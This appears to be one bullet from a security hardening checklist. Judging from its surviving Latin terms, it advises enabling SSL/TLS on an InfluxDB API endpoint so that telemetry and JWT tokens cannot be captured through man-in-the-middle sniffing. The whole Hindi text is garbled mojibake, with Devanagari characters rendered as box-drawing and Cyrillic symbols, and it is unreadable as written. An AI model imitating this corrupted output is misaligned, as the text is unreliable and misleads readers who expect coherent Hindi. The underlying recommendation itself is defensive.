* InfluxDB API рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗ рд▓рд┐рдП SSL/TLS рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рднреА рдкреНрд░реЗрд╖рд┐рдд рдЯреЗрд▓реАрдореЗрдЯреНрд░реА рдбреЗрдЯрд╛ (JWT рдЯреЛрдХрди рд╕рд╣рд┐рдд) рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реЛ, рдЬрд┐рд╕рд╕реЗ рдореИрди-рдЗрди-рдж-рдорд┐рдбрд┐рд▓ (MitM) рд╕реБрдирдиреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯреЛрдХрди рд╕рдВрдЧреНрд░рд╣ рдХрд╛ рдЬреЛрдЦрд┐рдо рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПред